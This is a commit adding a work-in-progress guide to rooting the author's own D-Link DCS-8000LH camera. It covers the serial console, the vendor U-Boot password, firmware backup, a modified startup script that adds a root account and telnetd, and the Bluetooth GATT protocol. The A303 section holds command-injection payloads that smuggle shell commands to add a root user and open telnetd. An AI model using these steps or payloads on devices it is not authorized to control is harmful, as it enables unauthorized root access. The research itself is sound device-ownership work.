diff options
author | Bjørn Mork <bjorn@mork.no> | 2019-05-11 13:17:12 +0200 |
---|---|---|
committer | Bjørn Mork <bjorn@mork.no> | 2019-05-11 13:17:12 +0200 |
commit | d16bf15a120a145d25d74395decd1cf8e45e751c (patch) | |
tree | 22636aafe50566f9214131db66c3a713ff7cdc62 |
WiP: docs
Signed-off-by: Bjørn Mork <bjorn@mork.no>
-rw-r--r-- | dcs8000lh.md | 1300 |
1 files changed, 1300 insertions, 0 deletions
diff --git a/dcs8000lh.md b/dcs8000lh.md new file mode 100644 index 0000000..942ba63 --- /dev/null +++ b/dcs8000lh.md @@ -0,0 +1,1300 @@ +# D-Link DCS-8000LH + +## Hardware spec + + * + * + +No ethernet. No USB. No memory card slot. + +Currently unsupported by OpenWrt. + + +## Foggy business + +Bummer. Got a new camera with firmware version 2.01.03. This version +is locked to a app/cloud service. It does not run a local NIPCA +compatible web API, and it does not stream video in a fashion we can +easily access. And there is no way to downgrade the firmware either. +In fact, there is no easy way to install any firmware image + + +## Serial console + +Despite the above, I gotta love D-Link for this one. + +Started opening the case, which is pretty simple: Remove the two +screws behind the bottom label, remove the top and bottom "lids". +Split the two cylinder halves. + +But I didn't finish opening the case, because I discovered that the +serial console is accessible from the outside! There is a 2 mm, 4 +hole, female header in the bottom of the camera. This header is +accessible via 4 tiny holes in the case behind the bottom +label. Simply mate it with a 3 (or 4) pin male 2 mm connector, and you +have console! + +The pinout seen from center to edge of camera is: + + | GND | RX | TX | 3.3V | + +You obviously need a 3.3V TTL adapter for this. I use a cheap PL2303 +based USB adapter from eBay. Look at the generic OpenWrt console +instructions for guidance. + +The serial port parameters are 57600 8N1 + + +## U-Boot + +The camera came with + +`U-Boot 2014.01-rc2-V1.1 (Jun 06 2018 - 03:44:37)` + + +without too much vendor added mess AFIACS. There is one minor issue +though: Access to the prompt is password protected. + +Still, even if this might provoke some bad thoughts, I just have to +love D-Link for making the password readily available in their GPL +package :-) + +From `DCS-8000LH-GPL/configs/gpl_defconfig`: + +`ALPHA_FEATURES_UBOOT_LOGIN_PASSWORD="alpha168"` + +Enter this password when you see + +`Press ESC to abort autoboot in 3 seconds` + +And you'll get a `rlxboot#` prompt : + +``` +rlxboot# ? +? - alias for 'help' +base - print or set address offset +bootm - boot application image from memory +bootp - boot image via network using BOOTP/TFTP protocol +cmp - memory compare +coninfo - print console devices and information +cp - memory copy +crc32 - checksum calculation +echo - echo args to console +editenv - edit environment variable +efuse - efuse readall | read addr +env - environment handling commands +fephy - fephy read/write +go - start application at address 'addr' +help - print command description/usage +imxtract- extract a part of a multi-image +loadb - load binary file over serial line (kermit mode) +loadx - load binary file over serial line (xmodem mode) +loady - load binary file over serial line (ymodem mode) +loop - infinite loop on address range +md - memory display +mm - memory modify (auto-incrementing address) +mw - memory write (fill) +nm - memory modify (constant address) +ping - send ICMP ECHO_REQUEST to network host +printenv- print environment variables +reset - Perform RESET of the CPU +setenv - set environment variables +setethaddr- set eth address +setipaddr- set ip address +sf - SPI flash sub-system +source - run script from memory +tftpboot- boot image via network using TFTP protocol +tftpput - TFTP put command, for uploading files to a server +tftpsrv - act as a TFTP server and boot the first received file +update - update image +version - print monitor, compiler and linker version +``` + +Using this for image manipulation is hard since there is no ethernet, +USB or removable flash. It is probably possible to load an image over +serial, but I don't have the patience for that.... + +The environment is pretty clean too: +``` +rlxboot# printenv +=3 +addmisc=setenv bootargs ${bootargs}console=ttyS0,${baudrate}panic=1 +baudrate=57600 +bootaddr=(0xBC000000 + 0x1e0000) +bootargs=console=ttyS1,57600 root=/dev/mtdblock8 rts_hconf.hconf_mtd_idx=0 mtdparts=m25p80:256k(boot),128k(pib),1024k(userdata),128k(db),128k(log),128k(dbbackup),128k(logbackup),3072k(kernel),11264k(rootfs) +bootcmd=bootm 0xbc1e0000 +bootfile=/vmlinux.img +ethact=r8168#0 +ethaddr=00:00:00:00:00:00 +load=tftp 80500000 ${u-boot} +loadaddr=0x82000000 +stderr=serial +stdin=serial +stdout=serial + +Environment size: 533/131068 bytes +``` + +No need to dwell on the weirdness of ethernet settings here. Modifying +the command line is more than enough for our purpose: + +`rlxboot# setenv bootargs ${bootargs} init=/bin/sh` + +Then continue to boot normally: + +`rlxboot# ${bootcmd}` + +This will provide a temporary root shell, without making any permanent +changes to the system. But /sbin/init is skipped altogether, which +means that nothing is mounted etc. Not even /sys and /proc. The +simplest way to both have the root shell and a normal system, is by +running + +`/etc/rc.d/rcS` + +in that root shell. You might also want to run + +`telnetd -l /bin/sh` + +so you can telnet into the camera instead of/in addition to the shell +on the serial console. Only if you set up networking, using the mydlink +app, first, of course. + +## Configuring the camera using the mydlink app + +We need networking for the remaining parts. Which means that you have +to configure the camera, either using the mydlink app, or by using +Bluetooth GATT commands as described below. + + +### Automatic firmware upgrades + +Remember to disable automatic firmware upgrades before changing any of +the installed file systems. + +The file systems will be replaced on every firmware upgrade, so any +local changes will be lost if the camera is upgraded. Let the system +upgrade to the latest version before making the changes, if you want +the most recent firmware. + +Note that I've only tested the procedure with firmware versions +*2.01.03* and *2.02.02*. A different set of modifications could be +necessary to make this work with other versions. + + +## Backing up + +Create a backup of everything *before* you mess up. Restoring will be +hard anyway, so don't rely on that. But you can forget about +restoring at all unless you have the backup, so make it anyway. + +Note that the "pib" partition contains device specific data which +cannot be restored from any other source than your device: + * model number + * hardware revision + * mac address + * feature bits + * private keys and passwords + +The backup is also useful for analyzing the system offline. + +You will need networking. In theory, you could dump the flash to the +console and save it from the terminal, but that would be very time +consuming and tiresome. + +There are several network transfer tools in the original firmware: + * tftp + * wget + * curl + * ...and probably more + + +I've been using tftp becuase it is simple. You'll obviously need a +tftp server for this. Google for instructions on setting that up. You +could alternatively set up a web server to use wget or curl. + +Copying out all flash partitions is as easy as for example: + +`for i in 0 1 2 3 4 5 6 7 8; do tftp -l /dev/mtd${i}ro -r mtd$i -p 192.168.2.1; done` + +Change 192.168.2.1 to the address of your tftp server. Some tftp +servers might require existing and writable destination files. Refer +to the tftp server docs. + + +FIXME: check out /usr/bin/flash_erase and /usr/bin/flashcp + + + +### Partitions + +The partitions are: +``` +# cat /proc/mtd +dev: size erasesize name +mtd0: 00040000 00010000 "boot" +mtd1: 00020000 00010000 "pib" +mtd2: 00100000 00010000 "userdata" +mtd3: 00020000 00010000 "db" +mtd4: 00020000 00010000 "log" +mtd5: 00020000 00010000 "dbbackup" +mtd6: 00020000 00010000 "logbackup" +mtd7: 00300000 00010000 "kernel" +mtd8: 00b00000 00010000 "rootfs" +``` +Or as seen by the driver with start and end addresses: + +``` +9 cmdlinepart partitions found on MTD device m25p80 +Creating 9 MTD partitions on "m25p80": +0x000000000000-0x000000040000 : "boot" +0x000000040000-0x000000060000 : "pib" +0x000000060000-0x000000160000 : "userdata" +0x000000160000-0x000000180000 : "db" +0x000000180000-0x0000001a0000 : "log" +0x0000001a0000-0x0000001c0000 : "dbbackup" +0x0000001c0000-0x0000001e0000 : "logbackup" +0x0000001e0000-0x0000004e0000 : "kernel" +0x0000004e0000-0x000000fe0000 : "rootfs" +``` + +Partition usage summary: + + | number | name | start | end | size | fstype | contents | + | 0 | "boot" | 0x000000 | 0x040000 | 0x40000 | boot | U-Boot | + | 1 | "pib" | 0x040000 | 0x060000 | 0x20000 | raw | device info | + | 2 | "userdata" | 0x060000 | 0x160000 | 0x100000 | squashfs | mydlink (/opt) | + | 3 | "db" | 0x160000 | 0x180000 | 0x20000 | tar.gz | dynamic data | + | 4 | "log" | 0x180000 | 0x1a0000 | 0x20000 | raw? | empty | + | 5 | "dbbackup" | 0x1a0000 | 0x1c0000 | 0x20000 | tar.gz | copy of "db" | + | 6 | "logbackup" | 0x1c0000 | 0x1e0000 | 0x20000 | raw? | empty | + | 7 | "kernel" | 0x1e0000 | 0x4e0000 | 0x300000 | uImage | Linux 3.10 | + | 8 | "rootfs" | 0x4e0000 | 0xfe0000 | 0xb00000 | squashfs | rootfs (/) | + + +Firmware upgrades replace the "userdata", "kernel" and "rootfs" +partitions, but leave all(?) other partitions unmodified. I imagine +that the "boot" partition could be upgraded too if necessary. But it +was not touched when going from 2.01.03 to 2.02.02, FWIW. + +The "log" and "logbackup" appear to be currently unused. But I am +reluctant trusting this, given their names. I guess they could be +cleaned and overwritten anytime. + + +### Backup up dynamic data + +This is not necessary for system operation as any non-volatile data is +saved in the "db" partition anyway. But it can still be useful +to have a copy of the system state for offline studying, so I also +like to save a working copy of /tmp: +``` +tar zcvf /tmp/tmp.tgz /tmp/ +tftp -l /tmp/tmp.tgz -r tmp.tgz -p 192.168.2.1 +``` + + +## Making the NIPCA webserver start automatically + +The good news is that D-Link left all the webserver parts in the +firmware, including all the NIPCA CGI tools. You can start it from the +shell by running: +``` +tdb set HTTPServer Enable_byte=1 +/etc/rc.d/init.d/extra_lighttpd.sh start +``` +Changing the `HTTPServer Enable_byte` is only necessary the first +time. The setting is stored in the non-volatile "db" partition. + +The bad news is that I haven't found a way to re-enable the webserver +startup by simply making changes to the non-volatile variables. Making +the webserver start automatically requires changes to a file system in +either the "userdata" or "rootfs" partition. I have chosen to modify +the "userdata" file system because it only contains the mydlink +applications mounted on /opt, and messing with it is therefore much +simpler than messing with the root filesystem. + + +### Creating a modified "userdata" file system + +This is done on a separate Linux system, using the backup we made of +mtd2 ("userdata"). The necessary tools are unsquashfs and mksquashfs, +found in the squashfs-tools package on Debian. + +``` +cd /tmp +unsquashfs mtd2 +vi squashfs-root/webenable +chmod 755 squashfs-root/webenable +sed -i -e '/check_alive strmsvr/i \ + check_alive webenable' squashfs-root/mydlink_watchdog.sh +mksquashfs squashfs-root mtd2.new -all-root -comp xz +``` + +You can put whatever you want into the webenable script. But make sure +it works, and doesn't exit, since the mydlink_watchdog we use to start +it might barf otherwise. + +webenable script example, creating a new root user named "foo" and +starting telnetd as well: +``` +#!/bin/sh + +echo "Doing local fixups..." +killall -TERM telnetd +grep -Eq ^foo: /etc/passwd || echo "foo:x:0:0::/:/bin/sh" >> /etc/passwd && echo "foo:$(pibinfo Pincode)" | chpasswd -m +[ "$(tdb get HTTPServer Enable_byte)" -eq "1" ] || tdb set HTTPServer Enable_byte=1 +[ -n "$(tdb get HTTPAccount AdminPasswd_ss)" ] || tdb get HTTPAccount AdminPasswd_ss=$(pibinfo Pincode) +/etc/rc.d/init.d/extra_lighttpd.sh start +telnetd -F +``` + +You might want to upload this script to the /tmp ramfs and test it a +few times before writing it to flash. When you are satisfied, then do +something like this in the camera shell: +``` +tftp -r mtd2.new -l /tmp/mtd2.new -g 192.168.2.1 +umount /opt +``` + +The `umount` will likely fail. If so, then do not continue, but look +for any processing keeping files in /opt open, kill them, and retry. For example + +``` +# ps w|grep /mydlink + 800 root 1432 S {mydlink_watchdo} /bin/sh /mydlink/mydlink_watchdog. + 1133 root 17936 S /mydlink/strmsvr + 1422 root 18896 S /mydlink/cda + 1455 root 4464 S < /mydlink/sa + 2299 root 26076 S /mydlink/da_adaptor -s mdb +19627 root 1416 S grep /mydlink +# kill -TERM 800 1133 1422 1455 2299 +umount /opt +``` + +After successfully unmounting: +``` +cat /tmp/mtd2.new >/dev/mtdblock2 +mount /dev/mtdblock2 /opt +``` + +You should now see your script as `/opt/webenable`, and it will start +automatically after booting. This change is permanent until the next +firmware upgrade, after which the process must be repeated from the +beginning. So you'll want to disable automatic upgrades unless you +enjoy using the serial console. + + + +### Using NIPCA to manage the camera + +The local web server provides a direct camera management API, but not +a web GUI application. And all commands require authentication. By +default there is a single admin user, using the pincode from the +camera label as passord. I believe you can add more users using the +API, but I haven't tested this. + +Google a NIPCA reference, or look at the script names under /var/www +and try them out. Some examples: + + +``` +$ curl -u admin:012345 'http://dcs8000lh.mork.no/config/datetime.cgi' +method=1 +timeserver=ntp1.dlink.com +timezone=1 +utcdate=2019-05-09 +utctime=13:25:14 +date=2019-05-09 +time=15:25:14 +dstenable=yes +dstauto=yes +offset=01:00 +starttime=3.2.0/02:00:00 +stoptime=11.1.0/02:00:00 + +$ curl -u admin:012345 http://dcs8000lh.mork.no/config/led.cgi?led=off +led=off +``` + + +### Streaming video locally + +The whole point of all this... We can now stream directly from the +camera using for example: + +``` +vlc https://192.168.2.99/video/mpegts.cgi +vlc https://192.168.2.99/video/flv.cgi +``` + +...of course replacing 192.168.2.99 with the address of your camera. +Use the same admin user and pincode to authenticate. + + + + +## Bluetooth + +The mydlink app use Bluetooth LE GATT commands for the initial setup, +like selecting and configuring a Wireless network. It is possible to +do this manually too, if you have a Linux system with a modern +Bluetooth controller. Most laptops with Linux will do. + +The Bluetooth service is in "locked" mode by default, This is +controlled by the "Ble Mode" setting in the "db". If true ("1"), then +most of the Bluetooth commands are rejected. The system will +automatically enter lock mode 180 seconds after the last client +disconnected. + +There are multiple ways to unlock the Bluetooth service, like for +example running `tdb set Ble Mode_byte=0` in a shell. But the +obviously most useful unlock method is using the challenge -> response +method described below + + +### Convert pincode to session key + +Most of the Bluetooth commands are protected when locked. They can be +unlocked by using the pincode printed on the camera label. This +pincode is not sent directly over the air though. Instead it is +combined with a random challenge. + +Both the random challenge and the matching key are generated by the +application `sbin/gen_bt_config` on the camera side. The key is +calculated by taking the first 16 bytes of the base64 encoded md5sum +of the concatination of + * model string + * '-' + * four last uppercase digits of the mac address + * pincode + * challenge. + +The first part., before the pincode, happens to be identical to the +Bluetooth device name. So an application can simply use this. + +Note that this application depend on bluetooth libraries, which are +not in /lib. So we have to set LD\_LIBRARY\_PATH to run it: + +``` +# LD_LIBRARY_PATH=/var/bluetooth/lib sbin/gen_bt_config update_key_only +In main:182: modelStr = 'DCS-8000LH' +In main:183: mac = 'b0:c5:54:ab:cd:ef' +In update_ble_key:87: key data = 'DCS-8000LH-CDEF012345b2gaescrbldchnik' +``` + +I've slightly obfuscated my data here - the pincode in the above case +is `012345`, and the dynamically generated challenge is +`b2gaescrbldchnik`. The generated challenge and key are stored in +`/tmp/db/db.xml` and can be read directly from there: +``` +# grep Key /tmp/db/db.xml |tail -2 +<ChallengeKey type="3" content="b2gaescrbldchnik" /> +<Key type="5" content="jrtY6nONQ5rV+2Ph" /> +``` + +Or you can read them using the same tools the Bluetooth system uses: +``` +# tdb get Ble ChallengeKey_ss +b2gaescrbldchnik +# mdb get ble_key +jrtY6nONQ5rV+2Ph +``` + +Yes, it does actually use tdb for the first one and mdb for the +second. I have absolutely no idea why,... It is possible to read the key using tdb too: + +``` +# tdb get Ble Key_ss +jrtY6nONQ5rV+2Ph +``` + +Generating the key by hand on a Linux system, without the final +truncation to 16 bytes: + +``` +$ echo -n 'DCS-8000LH-CDEF012345b2gaescrbldchnik' | md5sum | xxd -r -p | base64 | cut -c-16 +jrtY6nONQ5rV+2Ph +``` + +### GATT API + +D-Link is using the GATT BlueZ example plugin, patching it to add +their camera specific endpoints. This means that we can find all the +API "documentation" in the +`DCS-8000LH-GPL/package/bluez_utils/feature-patch/5.28/customized-mydlink.patch` +file in the GPL archive. + +They use a number of 16bit UUIDs with nonsense names: +``` ++#define IPCAM_UUID 0xD001 ++#define A000_UUID 0xA000 ++#define A001_UUID 0xA001 ++#define A100_UUID 0xA100 ++#define A101_UUID 0xA101 ++#define A102_UUID 0xA102 ++#define A103_UUID 0xA103 ++#define A104_UUID 0xA104 ++#define A200_UUID 0xA200 ++#define A201_UUID 0xA201 ++#define A300_UUID 0xA300 ++#define A301_UUID 0xA301 ++#define A302_UUID 0xA302 ++#define A303_UUID 0xA303 ++#define A304_UUID 0xA304 +``` + + +`IPCAM_UUID` is registered as the `GATT_PRIM_SVC_UUID`, which means +that it shows up as a primary GATT service we can scan for. + +The rest of the UUIDs are characteristics of the primary service. + + +#### data formatting + +Both input and output parameters are sent as ascii strings with +key=value pairs joined by `;`. The keys are single upper case +characters. Key names are reused, so the meaning depend on the +endpoint. + +Values are either integers, including boolean 0/1, or a consist of a +restricted set of ascii text. + +Examples: +``` +M=1;C=b2gaescrbldchnik +N=DCS-8000LH;P=1;T=1557349762;Z=CET-1CEST,M3.5.0,M10.5.0/3;F=2.01.03;H=A1;M=B0C554ABCDEF;V=3.0.0-b71 +I=192.168.2.37;N=255.255.255.0;G=192.168.2.1;D=148.122.16.253 +``` + +#### Endpoints + +FIXME: /sbin/save_wireless_info decodes S and E values into wpa_supplicant.conf settings. How? + +FIXME: figure out the wlan survey format. It splits pages, and numbers them. + +L=I=AirLink126FD4,M=0,C=11,S=4,E=2,P=46&L=I=Antiboks,M=0,C=1,S=4,E=2,P=88&L=I=ASV17,M=0,C=11,S=4,E=2,P=48&L=I=ASV17-dlink,M=0,C=6,S=4,E=2,P=72&L=I=fjorde123,M=0,C=1,S=4,E=2,P=48&L=I=Getbox-2B797A,M=0,C=1,S=4,E=2,P=46&L=I=JOJ,M=0,C=11,S=4,E=2,P=56&L=I=Kjellerbod,M=0,C=1,S=4,E=2,P=75&L=I=mgmt,M=0,C=1,S=4,E=2,P=88&L=I=Rindedal,M=0,C=11,S=4,E=2,P=64&L=I=VIF,M=0,C=11,S=4,E=2,P=46 + +Real example: + +[B0:C5:54:4C:CC:73][LE]> characteristics 0x0011 +handle: 0x0012, char properties: 0x12, char value handle: 0x0013, uuid: 0000a000-0000-1000-8000-00805f9b34fb +handle: 0x0015, char properties: 0x0a, char value handle: 0x0016, uuid: 0000a001-0000-1000-8000-00805f9b34fb +handle: 0x0017, char properties: 0x02, char value handle: 0x0018, uuid: 0000a100-0000-1000-8000-00805f9b34fb +handle: 0x0019, char properties: 0x0a, char value handle: 0x001a, uuid: 0000a101-0000-1000-8000-00805f9b34fb +handle: 0x001b, char properties: 0x08, char value handle: 0x001c, uuid: 0000a102-0000-1000-8000-00805f9b34fb +handle: 0x001d, char properties: 0x02, char value handle: 0x001e, uuid: 0000a103-0000-1000-8000-00805f9b34fb +handle: 0x001f, char properties: 0x02, char value handle: 0x0020, uuid: 0000a104-0000-1000-8000-00805f9b34fb +handle: 0x0021, char properties: 0x0a, char value handle: 0x0022, uuid: 0000a200-0000-1000-8000-00805f9b34fb +handle: 0x0023, char properties: 0x08, char value handle: 0x0024, uuid: 0000a201-0000-1000-8000-00805f9b34fb +handle: 0x0025, char properties: 0x0a, char value handle: 0x0026, uuid: 0000a300-0000-1000-8000-00805f9b34fb +handle: 0x0027, char properties: 0x02, char value handle: 0x0028, uuid: 0000a301-0000-1000-8000-00805f9b34fb +handle: 0x0029, char properties: 0x08, char value handle: 0x002a, uuid: 0000a302-0000-1000-8000-00805f9b34fb +handle: 0x002b, char properties: 0x08, char value handle: 0x002c, uuid: 0000a303-0000-1000-8000-00805f9b34fb +handle: 0x002d, char properties: 0x02, char value handle: 0x002e, uuid: 0000a304-0000-1000-8000-00805f9b34fb + + + +FIXME: what are the provisioning parameters? + +example: + +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0028 +Characteristic value/descriptor: 4e 3d 3b 54 3d 3b 55 3d + +bjorn@miraculix:/usr/local/src/git/DCS-8000LH-GPL$ decode-ascii.pl 4e 3d 3b 54 3d 3b 55 3d +N=;T=;U= + + +FIXME: the mydlink register commands operate on /tmp/mydlink/reg_st and /tmp/mydlink/reg_info files + +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x002e +Characteristic value/descriptor: 53 3d 31 31 3b 45 3d 30 +bjorn@miraculix:/usr/local/src/git/DCS-8000LH-GPL$ decode-ascii.pl 53 3d 31 31 3b 45 3d 30 +S=11;E=0 + +after factory reset: + +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x002e +Characteristic value/descriptor: 45 3d 30 3b 53 3d 30 + +bjorn@miraculix:/usr/local/src/git/DCS-8000LH-GPL$ decode-ascii.pl 45 3d 30 3b 53 3d 30 +E=0;S=0 + + + +The characteristics are mapped to system commands or data as follows:: + + | UUID | op | description | format | keys | + | A000 | read | last status | C=%d;A=%d;R=%d | C: uuid, A: mode, R: state | + | A000 | notify | last status | C=%d;A=%d;R=%d | C: uuid, A: mode, R: state | + | A001 | read | challenge | M=%d;C=%s | M: opmode, C: challenge | + | A001 | write | auth | M=%d;K=%s | M: opmode, K: key | + | A100 | read | wifi survey | N=%d;P=%d;... | | + | A101 | read | wifi config | M=%s;I=%s;S=%s;E=%s | M: opmode, I: essid, S: 4 , E: 2 | + | A101 | write | wifi config | M=%s;I=%s;S=%s;E=%s;K=%s | M: opmode, I: essid, S: 4 , E: 2, K: password | + | A102 | write | wifi connect | C=%d | C: connect (0/1) | + | A103 | read | wifi status | S=%d | S: wifi link status (0,1,?) | + | A104 | read | ip config | I=%s;N=%s;G=%s;D=%s | I: address, N: netmask, G: gateway, D: DNS-server | + | A200 | read | system info | N=%s;P=%d;T=%d;Z=%s;F=%s;H=%s;M=%s;V=%s | N: devicename, P: haspin (0/1), T: time (unix epoch), Z: timezone, F: fwver, H: hwver, M: macaddr, V:mydlinkver | + | A200 | write | name and time | N=%s;T=%d;Z=%s | N: devicename, T: time (unix epoch), Z: timezone | + | A201 | write | admin password | P=%s;N=%s | P: current password (pincode), N: new password | + | A300 | read | reg state | G=%d | G: registration state (0/1) | + | A300 | write | reg state | G=%d | G: registration state (0/1) | + | A301 | read | provisioning | N=%s;T=%s;U=%s | N: username, T: footprint, U: portal | + | A302 | write | restart mydlink | C=%d | C: restart (0/1) | + | A303 | write | register | S=%s;M=%s | S: , M: (written to /tmp/mydlink/reg_info, and then kill -USR1 `pidof da_adaptor`) | + | A304 | read | register | S=%d;E=%d | S: , E: (cat /tmp/mydlink/reg_st) | + + + +##### A100 + +The wifi survey scan results are split in 128 byte "pages", where each +page starts with the total number of pages and the current page +number. The characteristic value must be read as many times as the +given total to restrieve all pages. + +For example, reading 3 pages: +``` +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018 +Characteristic value/descriptor: 4e 3d 33 3b 50 3d 31 3b 4c 3d 49 3d 41 6e 74 69 62 6f 6b 73 2c 4d 3d 30 2c 43 3d 36 2c 53 3d 34 2c 45 3d 32 2c 50 3d 36 32 26 4c 3d 49 3d 41 53 56 31 37 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 34 36 26 4c 3d 49 3d 41 53 56 31 37 2d 64 6c 69 6e 6b 2c 4d 3d 30 2c 43 3d 36 2c 53 3d 34 2c 45 3d 32 2c 50 3d 36 38 26 4c 3d 49 3d 66 6a 6f 72 64 65 31 32 33 2c 4d 3d 30 +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018 +Characteristic value/descriptor: 4e 3d 33 3b 50 3d 32 3b 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 35 38 26 4c 3d 49 3d 4a 4f 4a 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 34 37 26 4c 3d 49 3d 4b 6a 65 6c 6c 65 72 62 6f 64 2c 4d 3d 30 2c 43 3d 36 2c 53 3d 34 2c 45 3d 32 2c 50 3d 36 32 26 4c 3d 49 3d 6d 67 6d 74 2c 4d 3d 30 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 37 34 26 4c 3d 49 3d 52 69 +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018 +Characteristic value/descriptor: 4e 3d 33 3b 50 3d 33 3b 6e 64 65 64 61 6c 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 36 32 +``` + +The strings are decoded to: +``` +N=3;P=1;L=I=Antiboks,M=0,C=6,S=4,E=2,P=62&L=I=ASV17,M=0,C=11,S=4,E=2,P=46&L=I=ASV17-dlink,M=0,C=6,S=4,E=2,P=68&L=I=fjorde123,M=0 +N=3;P=2;,C=1,S=4,E=2,P=58&L=I=JOJ,M=0,C=11,S=4,E=2,P=47&L=I=Kjellerbod,M=0,C=6,S=4,E=2,P=62&L=I=mgmt,M=0,C=1,S=4,E=2,P=74&L=I=Ri +N=3;P=3;ndedal,M=0,C=11,S=4,E=2,P=62 +``` + +Which, when joined after removing the paging info, becomes:: +``` +L=I=Antiboks,M=0,C=6,S=4,E=2,P=62&L=I=ASV17,M=0,C=11,S=4,E=2,P=46&L=I=ASV17-dlink,M=0,C=6,S=4,E=2,P=68&L=I=fjorde123,M=0,C=1,S=4,E=2,P=58&L=I=JOJ,M=0,C=11,S=4,E=2,P=47&L=I=Kjellerbod,M=0,C=6,S=4,E=2,P=62&L=I=mgmt,M=0,C=1,S=4,E=2,P=74&L=I=Rindedal,M=0,C=11,S=4,E=2,P=62 +``` + +After splitting the list on &, the final result is: +``` +L=I=Antiboks,M=0,C=6,S=4,E=2,P=62 +L=I=ASV17,M=0,C=11,S=4,E=2,P=46 +L=I=ASV17-dlink,M=0,C=6,S=4,E=2,P=68 +L=I=fjorde123,M=0,C=1,S=4,E=2,P=58 +L=I=JOJ,M=0,C=11,S=4,E=2,P=47 +L=I=Kjellerbod,M=0,C=6,S=4,E=2,P=62 +L=I=mgmt,M=0,C=1,S=4,E=2,P=74 +L=I=Rindedal,M=0,C=11,S=4,E=2,P=62 +``` + +So each L entry is made up of the same set of keys: + + * I: essid + * M: opmode? or authalg? (always 0 in the sample) + * C: channel (2.4 GHz only) + * S: key_mgmt/auth_alg/proto? + * E: key_mgmt/auth_alg/proto? + * P: relative signal. Higher is better. dBm + 100? + +Still need to figure out the mapping of the M,S,E keys to +wpa_supplicant config settings. The setting `M=0;I=Kjellerbod;S=4;E=2` +is mapped to this configuration: +``` +# cat /tmp/wpa_supplicant.conf +ctrl_interface=/var/run/wpa_supplicant +device_type=4-0050F204-3 +model_name=DCS-8000LH +manufacturer=D-Link +os_version=01020300 +config_methods=push_button virtual_push_button +eapol_version=1 +network={ + scan_ssid=1 + ssid="Kjellerbod" + key_mgmt=WPA-PSK + auth_alg=OPEN + proto=RSN + psk="redeacted" +} +``` + +##### A303 + +The two strings S and M are url decoded, checked for special characters, and then fed into +``` + snprintf(cmdbuf, sizeof(cmdbuf), "echo \"S=%s;M=%s\" > /tmp/mydlink/reg_info", S_str, M_str); + generic_run_cmd(cmdbuf); + generic_run_cmd("kill -USR1 `pidof da_adaptor`"); +``` +It is pretty safe to assume that this provides some registration info +to the mydlink system, allowing it to connect to the cloud service. + +The set of allowed characters is rather interesting: +``` + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 !\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~" +``` + + +This should open up a hole or two.... + +for example: set S to +`S=">/dev/null; echo -e "#!/bin/sh\ntouch /tmp/foo" >/tmp/kwh2; chmod 755 /tmp/kwh2; /tmp/kwh2; echo "S=x` + + +Try this: + + 1. add an admin:pincode account to /tmp/passwd + 2. start telnetd + 3. add an admin:pincode account to the web htdigest file + 4. start web server + +urlencode S in this: +``` +S=">/dev/null;echo "admin:x:0:0::/:/bin/sh">>/tmp/passwd&&echo admin:pincode|chpasswd;telnetd -p 1057;echo "S=;M= + +S=">/dev/null;echo "admin:x:0:0::/:/bin/sh">>/tmp/passwd&&echo admin:pincode|chpasswd;telnetd -p 1057;echo "S=;M= + +S=">/dev/null;echo "admin:x:0:0::/:/bin/sh">>/tmp/passwd;echo "S=;M= +S=">/dev/null;echo admin:pincode|chpasswd;telnetd -p 1057;echo "S=;M= + + +S=">/dev/null;echo "admin:x:0:0::/:/bin/sh">>/tmp/passwd&&echo admin:pincode|chpasswd;telnetd -p 1057;echo "S=;M= + +``` + +#### Notifications + +The camera sends `last_action` notifications as an alternative to readding lots of A000 requests: + + "C=%d;A=%d;R=%d", last_action_status.uuid, last_action_status.mode, last_action_status.state + + + + + +#### Sample Bluetooth network configuration + + 1. find camera: LE scan (should be limited to devices announcing 0000d001-0000-1000-8000-00805f9b34fb?) + 2. connect to device (input: selection): LE connect + 3. find the announced services: GATT primary + 4. get attributes for our service: GATT characteristics for UUID 0000d001-0000-1000-8000-00805f9b34fb + 5. read challenge: GATT read UUID 0000a001-0000-1000-8000-00805f9b34fb => M=1;C=b2gaescrbldchnik + 6. authenticate and unlock (input: pincode): GATT write UUID 0000a001-0000-1000-8000-00805f9b34fb <= M=0;K=jrtY6nONQ5rV+2Ph + 7. check current wifi settings: GATT read UUID 0000a101-0000-1000-8000-00805f9b34fb => M=0;I=;S=0;E=0 + 8. scan for wifi networks (repeat until P=N, and then concat the results without N and P) + a. GATT read UUID 0000a100-0000-1000-8000-00805f9b34fb => N=3;P=1;L=I=Antiboks,M=0,C=1,S=4,E=2,P=70&L=I=ASV17,M=0,C=11,S=4,E=2,P=57&L=I=ASV17-dlink,M=0,C=6,S=4,E=2,P=71&L=I=fjorde123,M=0 + b. GATT read UUID 0000a100-0000-1000-8000-00805f9b34fb => N=3;P=2;,C=1,S=4,E=2,P=58&L=I=Kjellerbod,M=0,C=1,S=4,E=2,P=74&L=I=mgmt,M=0,C=1,S=4,E=2,P=74&L=I=noramaja_2G,M=0,C=11,S=4,E=2,P=4 + c. GATT read UUID 0000a100-0000-1000-8000-00805f9b34fb => N=3;P=3;6&L=I=Rindedal,M=0,C=11,S=4,E=2,P=60 + 9. select wifi network (input: password): GATT write UUID 0000a101-0000-1000-8000-00805f9b34fb <= M=0;I=Kjellerbod;S=4;E=2;K=redeacted + 10. commit wifi setting: GATT write UUID 0000a102-0000-1000-8000-00805f9b34fb <= C=1 + 11. check wifi settings again: GATT read UUID 0000a101-0000-1000-8000-00805f9b34fb => M=0;I=Kjellerbod;S=4;E=2 + 12. check ip config: GATT read UUID 0000a104-0000-1000-8000-00805f9b34fb => I=192.168.2.37;N=255.255.255.0;G=192.168.2.1;D=148.122.16.253 + 13. end session by locking: GATT write UUID 0000a001-0000-1000-8000-00805f9b34fb <= M=1;K=jrtY6nONQ5rV+2Ph + + + +``` +root@miraculix:/tmp# hcitool -i 